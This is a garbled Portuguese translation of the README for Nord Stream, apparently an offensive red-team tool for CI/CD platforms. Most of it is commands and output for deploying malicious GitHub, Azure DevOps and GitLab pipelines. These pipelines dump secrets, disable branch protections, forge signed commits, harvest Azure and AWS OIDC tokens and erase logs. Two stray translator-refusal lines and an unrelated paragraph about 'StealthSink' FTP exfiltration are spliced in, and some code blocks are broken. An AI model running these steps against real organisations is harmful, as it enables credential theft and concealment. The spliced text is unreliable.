
Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab.
O Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes CI/CD ao implementar pipelines maliciosos.
Atualmente, suporta Azure DevOps, GitHub e GitLab.
Saiba mais na seguinte publicação do blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.
## Uso
Aqui está um exemplo simples no GitHub; inicialmente, é possível enumerar os vários segredos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Em seguida, prossiga para a exfiltração:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Argumentos compartilhados
Alguns argumentos são compartilhados entre [GitHub](#github), [Azure DevOps](#azure-devops) e [GitLab](#gitlab) aqui estão alguns exemplos.
#### Descrever token
A opção `--describe-token` pode ser usada para exibir informações gerais sobre o seu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
A opção --build-yaml pode ser usada para criar um arquivo de pipeline sem implantá-lo. Ela recupera os diversos nomes de segredos para construir o pipeline associado, que pode ser usado para adicionar etapas personalizadas:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
A opção `--yaml` pode ser usada para implantar um pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
The input content is empty — there is no chunk text to translate. Please provide the actual chunk content and I'll translate it into pt.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Por padrão, ele exibirá a saída da tarefa chamada `command` do job `init`, mas tudo é armazenado localmente e pode ser acessado manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
Por padrão, o Nord Stream tentará remover os vestígios deixados após uma implantação de pipeline, dependendo dos seus privilégios. Para preservar os vestígios, a opção --no-clean pode ser usada. Isso manterá os logs do pipeline, mas ainda assim reverterá as alterações feitas no repositório.
Observe que, para o GitLab, alguns vestígios não podem ser excluídos.
Os administradores de repositórios podem impor a assinatura obrigatória de commits em um branch para bloquear todos os commits que não estejam assinados e verificados. Com o Nord Stream, é possível assinar commits para contornar essa proteção.
Primeiro, crie e importe sua chave GPG na plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
O conteúdo do chunk não foi incluído na mensagem — o campo INPUT está vazio. Envie o trecho de Markdown correspondente ao chunk 19 para que eu possa traduzi-lo para português.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
O StealthSink integra-se com vários módulos-chave do NetExec para permitir a exfiltração de dados através de tráfego de rede com aparência legítima.
O módulo FTP no StealthSink permite a exfiltração de dados via comandos FTP padrão, mascarando a transferência de dados como uploads de arquivos normais.
Exemplo de configuração e uso:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
O Nord Stream pode extrair os seguintes tipos de segredos:
- Grupos de variáveis (vg)
- Arquivos seguros (sf)
- Conexões de serviço
#### Conexões de serviço
O Azure DevOps oferece a possibilidade de criar conexões com serviços externos e remotos para executar tarefas em um trabalho. Para isso, são usadas conexões de serviço. Uma conexão de serviço contém credenciais de uma identidade para um serviço remoto. Existem vários tipos de conexões de serviço no Azure DevOps.
O Nord Stream atualmente suporta extração de segredos para os seguintes tipos de conexão de serviço:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
Se você encontrar um tipo não suportado, abra uma issue ou faça um pull request :)
##### SSH
A extração para este tipo de conexão de serviço foi dolorosa de implementar. A saída é a seguinte:```
hostname:::port:::user:::password:::privatekey
Se você quiser executá-lo em um runner auto-hospedado, você pode fazer o seguinte:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
Then you need to:
1) altere o `vmImage: ubuntu-latest` para `name: 'Self-Hosted pool name'`
2) Adicione o nome da conexão de serviço no espaço reservado `#FIXME`.
3) implante o pipeline com: `--yaml test.yml`
Se você precisar executar isso em um runner self-hosted do Windows, no método `generatePipelineForSSH` altere `_serviceConnectionTemplateSSH` por `_serviceConnectionTemplateSSHWindows` e execute as ações descritas anteriormente.
Nota: para runners self-hosted, tanto Windows quanto Linux, você precisa adaptar o caminho (`/home/vsts/work/_tasks/` ou `D:\a\`) para corresponder ao caminho onde o runner está implantado. Essas informações podem ser obtidas na aba `Capabilities` de um agente no Azure DevOps.
#### Listando organizações
Com um token de acesso, é possível listar as organizações vinculadas a um usuário:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
Isso é baseado em esta pesquisa.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### Listar proteções
A opção `--list-protections` pode ser usada para listar as proteções aplicadas a um branch e a ambientes:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
Dependendo das suas permissões, você pode ter menos informações, somente administradores podem ter os detalhes completos das proteções.
A opção --disable-protections pode ser usada para desabilitar temporariamente as proteções aplicadas a um branch ou a um ambiente, realizar o dump e restaurar todas as proteções:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
This requires admin privileges.
#### Force
Por padrão, se o Nord Stream detetar uma proteção num branch ou num ambiente, não realizará a extração de segredos. Se considerar que as proteções são demasiado permissivas ou podem ser contornadas com os seus privilégios, a opção `--force` pode ser utilizada para implantar o pipeline independentemente das proteções.
#### Azure OIDC
O OIDC (OpenID Connect) pode ser utilizado para ligar a serviços cloud. A ideia geral é permitir que pipelines ou workflows autorizados obtenham tokens de acesso de curta duração diretamente de um fornecedor cloud, sem envolver quaisquer segredos estáticos. A autorização baseia-se em relações de confiança configuradas no lado do fornecedor cloud e é condicionada pela origem do pipeline ou workflow.
Aqui está um exemplo de um workflow do GitHub que utiliza OIDC:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
Se você se deparar com esse workflow, isso significa que o repositório pode estar configurado para obter um token de acesso de curta duração que pode dar acesso aos recursos do Azure.
O Nord Stream é capaz de implantar um pipeline para recuperar esse token de acesso com as seguintes opções:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
O `--azure-subscription-id` é opcional e pode ser usado para obter um token de acesso para uma assinatura específica.
#### AWS OIDC
A mesma técnica (veja [Azure OIDC](#azure-oidc)) pode ser usada para obter um token de sessão na AWS.
Aqui está um exemplo de um fluxo de trabalho usando AWS OIDC:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
Se encontrar um fluxo de trabalho assim, isso significa que o repositório pode estar configurado para obter um token de acesso AWS que pode dar acesso aos recursos da AWS.
O Nord Stream é capaz de implantar um pipeline para recuperar esse token de acesso com as seguintes opções:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### Ajuda```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
Conforme descrito no artigo, não há como remover os logs na aba de atividades após uma implantação de pipeline. Isso deve ser levado em consideração durante engajamentos de Red Team.
A opção --list-secrets pode ser usada para listar e extrair segredos do GitLab.
A forma como o GitLab gerencia segredos é um pouco diferente do Azure DevOps e do GitHub action. Com acesso de administrador a um projeto, grupo ou até mesmo acesso de administrador na instância do GitLab, é possível extrair todas as variáveis de CI/CD definidas sem implantar nenhum pipeline.
No entanto, para um usuário com privilégios baixos, não é possível listar os segredos definidos nos níveis de projeto, grupo ou instância. Contudo, se os usuários tiverem privilégios de escrita em um projeto, eles poderão implantar um pipeline malicioso para exfiltrar as variáveis de ambiente que expõem as variáveis de CI/CD. Isso significa que um usuário com privilégios baixos não tem como saber se um segredo está definido em um projeto específico. A única forma é olhar os pipelines legítimos já presentes em um projeto e verificar se um pipeline usa variáveis de ambiente sensíveis.
Aqui está um arquivo de pipeline para realizar essa operação no GitLab:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
O GitLab também suporta arquivos seguros como o Azure DevOps. Os arquivos seguros são definidos no nível do projeto. Assim como as variáveis, não é possível listar os arquivos seguros sem acesso de administrador ao projeto. No entanto, com acesso de administrador, o nord-stream tentará exfiltrar os arquivos seguros relacionados aos projetos.
#### YAML
O mesmo que [YAML](#yaml), porém você precisa fornecer o caminho completo do projeto assim:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
The output of the command --list-projects returns such path.
Igual à lista de proteções do GitHub
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## A FAZER
- [ ] Adicionar suporte a URLs correspondentes a instâncias do Azure DevOps Server (soluções locais / on-premises)
- [ ] Adicionar uma opção para extrair segredos via hosts Windows
- [ ] Adicionar suporte a outros ambientes de CI/CD (Jenkins/Bitbucket)
- [ ] Usar a API GraphQL do GitHub em vez da REST para listar as regras de proteção de branch e desativá-las temporariamente se corresponderem ao branch malicioso prestes a ser enviado
## Contato
Envie quaisquer bugs, problemas, dúvidas ou solicitações de recursos em "Issues" ou envie-os para nós no Twitter [@hugow](https://twitter.com/hugow_vincent) e [@0hexit](https://twitter.com/0hexit).